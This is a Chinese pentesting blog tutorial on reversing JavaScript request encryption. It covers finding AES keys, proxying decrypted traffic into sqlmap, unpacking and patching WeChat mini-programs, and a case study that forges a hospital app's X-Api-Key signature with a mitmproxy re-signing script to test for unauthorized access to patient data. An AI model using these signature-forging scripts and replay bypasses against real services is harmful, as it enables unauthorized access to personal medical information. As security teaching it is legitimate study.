js逆向学习从0-1
一、为什么要逆向js?
因为装逼是一辈子的事。随着越来越多的web网站或者小程序为了安全,都加入了加密或者防重放,可以防止百分之90的安全问题。你不会逆那就没饭吃。
那么,如果你会逆向js,解开密文=乱杀,因为很多开发以为做了加密,就会放松警惕,不会再对输入进行解密后的二次过滤。同时还有一个天然优势,waf无法识别密文,也就无法拦截。
如下所示:解开密文后,遍历id达到全站越权
二、常见的js加密
https://www.ssleye.com/ssltool/ 在线加解密网站
2.1 对称加密
比如AES、DES等,使用的加密和解密密钥都是同一个,所以叫对称加密。一般都存储在前端,或者后端动态获取,可以直接拿到。
2.2 非对称加密
比如RSA和ECDSA,使用非对称加密,也就是说,加密和解密使用两个密钥,公钥一般在前端,用于加密,私钥放在后端,用于解密。
三、如何逆向?
或者说,如何找到密钥和加密方式?先来看一个靶场,真实环境下演示。靶场:https://github.com/outlaws-bai/GalaxyDemo,用Galaxy插件自带的靶场,下载后启动
python3 manager.py 访问点击查询功能点
抓包,发现是密文
发送的是密文,那么肯定是前端加密,要找到加密方法和密钥。
3.1 如何快速定位加密处代码
在实战中,肯定会有很多前端文件,所以不太可能一眼发现加密的地方
3.2 通过字段关键字
搜索data关键字
一个小技巧,只搜索data会出现多个,如果搜索data:就很快定位了
然后就找到了加密方法encrypted
在此代码全局搜索,就找到了加密的方式
3.3 通过js关键字
通过直接搜索,加密方法调用的关键字 CryptoJS.mode
或者,iv、key等等
3.4 通过路由
直接搜索请求的路由,也可以在上下文中找到加密方法
3.5 通过断点
如果以上都找不到呢?没有找到已知的加密方法,或者没有找到关键字呢?自写加密,那该怎么找到关键的加密代码?这就需要使用断点,先通过发送请求的js,找到功能所对应的代码,根据断点去判断。
例如此处,在功能点处打上断点,然后点击查询,跳到断点处,且功能还没触发,那么就可以慢慢看上下文,找到具体的实现方法
四、解密
可以通过在线网站直接解开,但是每次都需要反复加解密,很麻烦,而且也不好配合sqlmap等工具
但是像验证码爆破这种,可以通过自写脚本,来的更快
4.1 Galaxy 热加载
那么有没有更方便,更快捷的办法呢?有的兄弟,有的。
用Galaxy,下载最新版本
https://github.com/outlaws-bai/Galaxy/releases选择解密的host
再下载对应的解密脚本,注意每次用完重新下一个覆盖掉,不然不知道一直报错是什么原因.....
https://github.com/outlaws-bai/GalaxyHttpHooker注意这里除了对应的key和iv,还需要填入解密的字段,是整个请求的字段则不需要修改,部分加密则需要填写解密的字段,需要有一点编程和排错能力
然后启动后将密文发送至Galaxy插件解密,同时可以支持多个工具联动
解密后发送到Repeater模块
可以看到发送和响应已经自动解密
联动sqlmap,200状态吗,证明正常解析
注出结果
五、进阶
5.1小程序解包
案例:一次绕来绕去的小程序逆向
现在有两种方法去逆向,一个是强开f12打断点逆向,因为我是arm的mac,环境不支持注入小程序强开f12,所以选择第二个办法,解包
使用此项目解包,wx小程序
https://github.com/biggerstar/wedecode设置源
npm config set registry https://registry.npmmirror.com安装
# window
npm i wedecode -g
# mac
sudo npm i wedecode -g输入wedecode选择小程序
然后把输出的源码直接丢到编辑器,开始逆向
5.2 小程序强开f12
有概率封号,建议使用小号
5.3 windows
直接看这个项目,根据版本下载对应的微信就行了
https://github.com/JaveleyQAQ/WeChatOpenDevTools-Python
5.4 arm mac
这个就麻烦了,如果版本匹配的上直接看这个项目,或者直接降级
https://github.com/f4l1k/WeChatOpenDevTools-Python-arm
如果匹配不上,就要根据作者给出的方法,自己去逆向拿到配置文件,比如我这里,就是不支持的版本
ps aux | grep 'WeChatAppEx' | grep -v 'grep' | grep "wmpf-mojo-handle"ida下载以及破解
https://www.52pojie.cn/thread-1970020-1-1.html
Cc杰 师傅帮忙写的过程 https://www.yuque.com/u55777600/hix3f1/gviiqoyeb8tke2ib
按照作者给的方法去找到对应的值
1、ida打开/Applications/WeChat.app/Contents/MacOS/WeChatAppEx.app/Contents/Frameworks/WeChatAppEx Framework.framework/Versions/C/WeChatAppEx Framework;注意选择arm架构打开
2、JsonGetBoolFunc:搜索字符串“enable_vconsole”,找到交叉引用,找到“if ( sub_25F4C88((__int64)v53, "enable_vconsole", 0LL) & 1 )”中的sub_25F4C88地址
3、DevToolStringAddr:搜索字符串“closeNetLog”,下面的devTools就只要找的地址
4、WechatWebStringAddr:搜索字符串“https://applet-debug.com/devtools/wechat_app.html”
5、xwebadress地址:搜索字符串“xweb-enable-inspect”
或者使用跟快捷的方法
https://mp.weixin.qq.com/s/NieEYK1jmDlURylGO0tUrg
然后修改config文件夹里的就行了,版本相差无几的话,可以试试是否通用,亲测911和910版本通用
运行脚本后
[图片上传错误...]
但是arm 的mac有的版本存在无法全局搜索的问题,暂时无法解决
5.5 无限debug
这个就很简单了。
注册后发现强加密
看到desjson关键字,准备打断点调试,然后就是无限debug
那怎么办呢?不慌有两种办法:
1.bp抓包直接修改回包js内容,去掉debug,或者直接加载本地js替换
2.火狐,简单粗暴,直接不在此处暂停即可
六、小程序逆向实战
6.1 定位字段
某医院小程序,对比几个数据包,发现是通过X-Api-Key这个字段来防止重放,X-Auth-Token来鉴权
还有几个不知道作用的字段
X-Hos-Id
X-Traffic
X-Api-Ver
X-Main-User-Id
X-User-Id
Request-No重新加载一次功能,可以看到,只有下面两处地方,是变了的,其他没有变化。Request-No一眼时间戳,17开头不必多说。
6.2 定位加密代码
解包就不多说了,上面已经讲过了。解包后拿到代码,开始找加密点。
用编辑器打开,全局搜索,关键字X-Api-Key,因为这种强特征的字符串,所以很好快速定位。
关键代码
"X-Api-Key": (0, a.default)(e, t, n)这里就是X-Api-Key的生成逻辑,我们继续追踪a这个模块,ctrl按住直接点击即可。
var a = n(520),
i = n(256),
o = "withSignHeader";那么,a是根据n(520)的到的,而这个520则大概率是一个模块,通过webpack打包后就是这样,使用编号代表。这里是跳转不了的,所以我们全局搜索定义520:
520: function(e, t, n) {
"use strict";
var r = this && this.__spreadArray || function(e, t, n) {
if (n || 2 === arguments.length)
for (var r, a = 0, i = t.length; a < i; a++) !r && a in t || (r || (r = Array.prototype.slice.call(t, 0, a)), r[a] = t[a]);
return e.concat(r || Array.prototype.slice.call(t))
};
Object.defineProperty(t, "__esModule", {
value: !0
}), t.requestParamsHash = void 0;
var a = n(426),
//删除部分敏感代码
function p(e, t) {
var n, p = (0, i.requestParamsHandler)(e),
h = [function() {
var e = c((null == t ? void 0 : t.proxy) ? (0, i.removeProxyPrefix)(p.url) : p.url),
n = e.pathname,
r = e.query;
return d.includes(r) ? n : "".concat(n).concat(r)
}(), void 0 === p.header || null === p.header ? "" : o.REQUEST_HASH_HEADERS.reduce((function(e, t) {
var n = p.header[t];
return null != n ? r(r([], e, !0), ["".concat(t.toLowerCase(), "=").concat(n)], !1) : e
}), []).join(","), function() {
var e;
if (!u.includes(null === (e = p.method) || void 0 === e ? void 0 : e.toUpperCase())) return "";
if (void 0 === p.data || null === p.data) return "";
var t = (0, i.getHeaderIgnoreCase)(p.header, "Content-Type");
if (!s.includes(t)) return "";
try {
if (p.data instanceof FormData) return ""
} catch (e) {
console.log("FormData error", e)
}
return "object" == typeof p.data ? JSON.stringify(p.data) : p.data
}()].filter((function(e) {
return "" !== e
})).join("&&");
return (null == t ? void 0 : t.debug) && (0, i.printLog)(l, p.url, "生成请求摘要前", h), null === (n = ("function" == typeof p.md5 ? p.md5 : a.CryptoJS.MD5)(h)) || void 0 === n ? void 0 : n.toString()
}
t.requestParamsHash = p, t.default = function(e, t, n) {
if ((null == n ? void 0 : n.debug) && (0, i.printLog)(l, t.url, " 签名参数", {
signOptions: e,
requestOptions: t,
options: n
}), !(null == n ? void 0 : n.disabledSign)) {
! function(e, t, n) {
//删除部分敏感代码
}(e, t, n);
var r = (new Date).getTime(),
c = (0, i.guid)(),
s = {
accessEntry: "patient",
apiKey: o.E_API_KEY,
timestamp: e.timestamp || r
};
return void 0 !== (null == n ? void 0 : n.signVersion) && 2 !== (null == n ? void 0 : n.signVersion) || (s.replayNo = e.uuid || c, s.hashDigest = p(t, n)), (null == n ? void 0 : n.debug) && (0, i.printLog)(l, t.url, "生成签名前", s), (0, o.encrypt)({
word: JSON.stringify(s)
}, a.CryptoJS)
}(null == n ? void 0 : n.debug) && (0, i.printLog)(l, t.url, "签名已禁用")
}
},此处就是,x-api-key的生成流程。根据请求的 URL、请求头、请求体等关键内容生成一个摘要(哈希值),然后将这些信息(包括时间戳、请求唯一 ID 等)打包成对象并加密,生成最终的 X-Api-Key。如下:
{
"accessEntry": "patient", // 访问端标识,表示这是一个“患者”相关的请求
"apiKey": "xxxxx", // 固定 API 密钥,用于身份验证
"timestamp": 1710000000000, // 请求时间戳
"replayNo": "ec5c-fbc1-58ad-48a1", // 请求的唯一标识符,随机uuid
"hashDigest": "md5_hash_value" // 请求的 MD5 摘要,用于校验请求内容
}重点就是这个md5_hash_value,因为还有apikey,其他的都是随机生成和固定的,现在要继续跟踪o = n(325),毫无疑问325也是一个模块
这块是经过混淆的,大概意思就是上面涉及的apikey以及核心加密涉及到的密钥,其实这里可以从代码中的iv,mode和中间那个列表中直接看出,是aes加密。
325: function(e, t, n) {
"use strict";
function r(e, t) {
var n = i();
return (r = function(e, t) {
return n[e -= 426]
})(e, t)
}
var a = r;
function i() {
var e = ['','','']较敏感已删除
return (i = function() {
return e
})()
}(function(e, t) {
for (var n = r, a = e();;) try {
if //删除部分敏感代码
a.push(a.shift())
} catch (e) {
a.push(a.shift())
}
})(i), Object[a(447) + a(432)](t, a(459), {
value: !0
}), t[a(433)] = t[a(460)] = t[a(452) + a(448)] = t[a(456)] = t[a(437)] = void 0;
var o = a(426) + a(445),
c = a(435) + a(461);
t[a(437)] = a(464), t[a(456)] = a(465) + a(467) + a(442) + a(439), t[a(452) + a(448)] = [a(450), a(446), a(457) + "en", a(443)], t[a(460)] = function(e, t) {
var n = a,
r = t[n(455)][n(428)][n(438)](e[n(470)]),
i = t[n(455)][n(428)][n(438)](e[n(469)] || o),
s = t[n(455)][n(428)][n(438)](e.iv || c);
return t[n(451)][n(460)](r, i, {
iv: s,
mode: t[n(462)][n(440)],
padding: t[n(434)][n(463)]
})[n(429)]()
}, t[a(433)] = function(e, t) {
var n = a,
r = e[n(470)],
i = t[n(455)][n(428)][n(438)](e[n(469)] || o),
s = t[n(455)][n(428)][n(438)](e.iv || c);
return t[n(451)][n(433)](r, i, {
iv: s,
mode: t[n(462)][n(440)],
padding: t[n(434)][n(463)]
})[n(429)](t[n(455)][n(428)])
}
},那么我们已经知道第一层算法了,也就是将上面所有的信息,结合hashDigest进行aes加密。我们还需要知道hashDigest字段,是怎么来的。和上面提及的apikey。所有的信息都在,325这个模块里。这一段代码的意思就是,进行映射取值,所有字段的值包括加密算法,iv,key都要从上图那个列表中去取的。解开混淆后的代码大致如下:
encrypt(data, cryptoJS) {
const key = cryptoJS.enc.Utf8.parse(data.key || defaultKey);
const iv = cryptoJS.enc.Utf8.parse(data.iv || defaultIV);
const word = cryptoJS.enc.Utf8.parse(data.word);
return cryptoJS.AES.encrypt(word, key, {
iv: iv,
mode: cryptoJS.mode.CBC,//直接从字符串列表中提取,符合加密模式的只有这一个字符串
padding: cryptoJS.pad.Pkcs7
}).toString();
}但是我们逆向不能使用这个解开混淆的代码,要使用原代码,这里只是方便我们识别代码的具体作用
对应的混淆的代码
i = t[n(455)][n(428)][n(438)](e[n(469)] || o),
s = t[n(455)][n(428)][n(438)](e.iv || c);6.3 坑点一
由上面代码可知,key和iv来自e[n(469)] || o、e.iv || c这两个地方,进行的或运算。如果你去找这个e,那么你就上当了。下面是e的定义。他是没有[n(469)]和iv具体属性的,如果你去跟踪这两个就会浪费大量时间。
var e = ['字符串1','字符串2','字符串3']直接看代码中的o和c,可以看到上文中是直接给出了定义的,这两个才是真正的iv和key
var o = a(426) + a(445),
c = a(435) + a(461);6.4 坑点二
那么我们就可以根据字符串列表的映射关系去找,这两个具体的值。随之坑就来了。因为习惯性丢ai去自动查找,所以当ai给出映射出的字符串,下意识以为是对的,在这里浪费大量时间。我们可以看下ai给出的iv和key。
这就是mac小程序调试的不足之处,windows上是可以通过dev-tools直接动态调试的,mac只能一点点抠代码, 也请教下师傅们是否有更优雅的方式。
回到主题,我们可以看到ai去逆向给出的iv和key甚至连长度不符合aes的长度。那么到底是哪里有问题呢?继续扣代码。
看到关键代码,也就是导致结果不准的元凶。
a.push(a.shift())意思如下:
1. 代码执行原理
a.shift() :删除数组的第一个元素并返回该元素。
例如 a = [1,2,3],执行后返回 1,数组变为 [2,3]。
a.push(value) :将值 value 添加到数组末尾。
接上例,传入 1 后,数组变为 [2,3,1]。那么我们就只能手动去动态调试了,让代码按照逻辑走,最后拿到正确的iv和key。
解密,这就是完整的需要加密的json,可以看到我们还拿到的apikey,老方法,重新点击几次功能点,发现此值是固定的,replayno上面已经说过是随机的uuid。我们还需要将hashDigest逆向出来。
下面是完整的逆向代码
// 敏感只放部分代码
function i() {
var e = [//敏感内容,删除部分
"4ljCFxBK1d", "1461670rWYcKw", "Utf8", "toString", "42nhIpEo", "15USbUuz", "erty"
];
return (i = function () {
return e;
})();
}
// ★★★★★ 混淆扰乱机制 ★★★★★
(function (e, t) {
for (var n = r, a = e();;) try {
if (758051 ===
//删除部分代码
a.push(a.shift());
} catch (e) {
a.push(a.shift());
}
})(i);
// -------------------------------
// 模块标志:__esModule
// 混淆代码:
// Object[a(447) + a(432)](t, a(459), { value: !0 })
// 即:Object.defineProperty(t, "__esModule", { value: true });
// -------------------------------
const defineProperty = a(447) + a(432); // "defineProp" + "erty" → "defineProperty"
const esModuleKey = a(459); // "__esModule"
console.log("✅ defineProperty key:", defineProperty);
console.log("✅ __esModule key :", esModuleKey);
Object[defineProperty](t, esModuleKey, { value: true });
// -------------------------------
// AES 常量
// 混淆代码:t[a(437)] = a(464);
// a(437) = "AES"
// a(464) = "AES"
// -------------------------------
const aesKey = a(437);
const aesValue = a(464);
t[aesKey] = aesValue;
console.log(`✅ ${aesKey} =`, aesValue); // AES = AES
// -------------------------------
// E_VER 版本号
// 混淆代码:t[a(456)] = a(465) + a(467) + a(442) + a(439);
// 实际为:E_API_KEY = 拼接多个字段
// 再往下是 E_VER
// t[a(433)] = a(457) → "E_VER" = "2.23.0"
// -------------------------------
const eVerKey = a(433); // "E_VER"
const eVerValue = a(457); // "2.23.0"
t[eVerKey] = eVerValue;
console.log(`✅ ${eVerKey} =`, eVerValue);
// -------------------------------
// SH_HEADERS 数组
// 混淆代码:
// t[a(452) + a(448)] = [a(450), a(446), a(457)+"en", a(443)];
//
// -------------------------------
// -------------------------------
// E_API_KEY 拼接
// 混淆代码:t[a(456)] = a(465) + a(467) + a(442) + a(439)
// -------------------------------
// -------------------------------
// encrypt / decrypt 方法名
// a(460) = "encrypt"
// a(433) = "decrypt"
// -------------------------------
var o = a(426) + a(445);
var c = a(435) + a(461);
// 打印 key 和 iv
console.log("✅ 动态获取的默认 KEY:", o);
console.log("✅ 动态获取的默认 IV :", c);
})(null, t, null);
6.5 完整算法
同时我们还拿到了,完整的hashDigest算法中的,header头组成部分。有4个字段,参与了计算。需要注意的是,这里要严格按照顺序,否则计算出的md5hash会不一样
那么,现在我们回到520模块,再次来看,hashDigest的生成逻辑。
此处的REQUEST_HASH_HEADERS我们已经拿到了,也就是下面的几个请求头
['X-User-Id', 'X-Hos-Id', 'X-Auth-Token', 'X-Api-Ver']继续往下,找到算法
总结下算法逻辑,如下:
hashDigest = MD5(
pathAndQuery
+ "&&" +
headerDigest
+ "&&" +
dataDigest
)
pathAndQuery也就是请求的路径,注意此处只要路径,不需要http://aaa.com这一段。
/patientuser/v1/patinfo/123
或
/patientuser/v1/patinfo/123?token=abcheaderDigest也就是我们上面拿到header头,需要拼接起来。具体的值可以通过最上面的,请求包拿到。
x-user-id=...,x-hos-id=...,x-auth-token=...,x-api-ver=...dataDigest则需要满足以下条件,才会被加入
method 是 "POST" 或 "PUT"
Content-Type 是 "application/json" 或 undefined
data 存在,且非 FormData
类型是 object 时将用 JSON.stringify现在将X-Api-Key的算法梳理一遍
请求 URL + method
↓
提取 path + query
提取指定 headers 顺序拼接
提取 body(若满足条件)
↓
拼接字符串: A && B && C
↓
MD5
hashDigest
↓
构建签名体(含 timestamp、uuid、digest 等)
↓
AES-CBC 加密 + Pkcs7 + Base64
↓
设为 X-Api-Key 头部 自动化脚本
现在知道了完整的算法,写一个生成X-Api-Key的脚本
敏感只放部分核心代码
// ✅ 生成 X-Api-Key
function generateXApiKey({ url, method = 'GET', headers = {}, data = null, timestamp, uuid, debug = false }) {
const ts = typeof timestamp === 'number' ? timestamp : Date.now();
const rid = typeof uuid === 'string' ? uuid : uuidv4();
const hashDigest = buildHashDigest({ url, method, headers, data });
const payload = {
accessEntry: 'patient',
apiKey: E_API_KEY,
timestamp: ts,
replayNo: rid,
hashDigest
};
if (debug) {
console.log('📦 签名明文 payload:', JSON.stringify(payload, null, 2));
}
const encrypted = CryptoJS.AES.encrypt(
CryptoJS.enc.Utf8.parse(JSON.stringify(payload)),
CryptoJS.enc.Utf8.parse(KEY),
{
iv: CryptoJS.enc.Utf8.parse(IV),
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
}
).toString();
return {
xApiKey: encrypted,
payload
};
}
// ✅ 示例请求(请根据实际请求替换)
const result = generateXApiKey({
url: '',
method: 'GET',
headers: {
});
// ✅ 最终输出
console.log('🔐 X-Api-Key:', result.xApiKey);
对比下,上面aes解开后的hashDigest,一致,没问题。
测试重放,因为每一次生成的时间戳不一样,所以这个是一次性。没问题,成功重放。
那么不出意外的话,返回包也是这个aes
但是这还不算完全的自动化,我们要的是完全解放双手,像明文一样测试,但是galaxy好像并不能解决这个问题,于是有了下面的mitmproxy脚本。galaxy会将burp里的数据解密后重新发送到burp然后再发送给服务器,解密回显再到burp,所以不太适合。而mitmmitmproxy就相当于另一个burp,区别就是,burp是获取浏览器的流量进行测试,而mitmproxy是获取burp的流量进行修改x-api-key后再次发送,下面会给出一个完整的流程图。
敏感,只放部分核心代码吧
# X-Api-Key 签名算法
def generate_xapikey(url, method, headers, data):
parsed = urlparse(url)
path_and_query = parsed.path + (f"?{parsed.query}" if parsed.query else "")
header_digest = ",".join(
)
data_digest = ""
if method.upper() in ("POST", "PUT") and isinstance(data, dict):
content_type = headers.get("content-type", "").lower()
if content_type == "application/json":
data_digest = json.dumps(data, separators=(",", ":"))
joined = "&&".join(x for x in [path_and_query, header_digest, data_digest] if x)
hash_digest = hashlib.md5(joined.encode()).hexdigest()
payload = {
*
}
payload_bytes = json.dumps(payload, separators=(",", ":")).encode()
cipher = AES.new(KEY, AES.MODE_CBC, IV)
encrypted = cipher.encrypt(pad(payload_bytes, AES.block_size))
return base64.b64encode(encrypted).decode()
将burp流量转发过来
启动mitmproxy
mitmproxy -p 5080 -s 某医院小程序.py 可以看到已经动态修改
流程图:
[小程序]
↓
[Reqable 转发到127.0.0.1:8080]
↓
[Burp Proxy 监听 127.0.0.1:8080]
↓
[Upstream转发到127.0.0.1:5080]
↓
[mitmproxy 监听 127.0.0.1:5080]
↓
[目标服务器]
现在我们测试,就是全自动更新x-api-key了,同时自动解密回显,很遗憾的是,在此处没有越权哈哈。
但是在另一处地方,存在全站越权,大量个人信息,包括但不限于三要素。一开始没有发现,下意识以为这个字段没有参与x-api-key的计算,就没测试,结果这里是靠这个去查询的。
七、参考
完结,撒花🎉🎉🎉
本文作者:Syst1m
本文链接:https://blog.lingxisec.com/archives/js-reverse-engineering-zero-to-one.html
版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
法律说明:
文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
- 上一篇: 某地级市三甲医院从sql注入到内网漫游
- 下一篇:没有了























































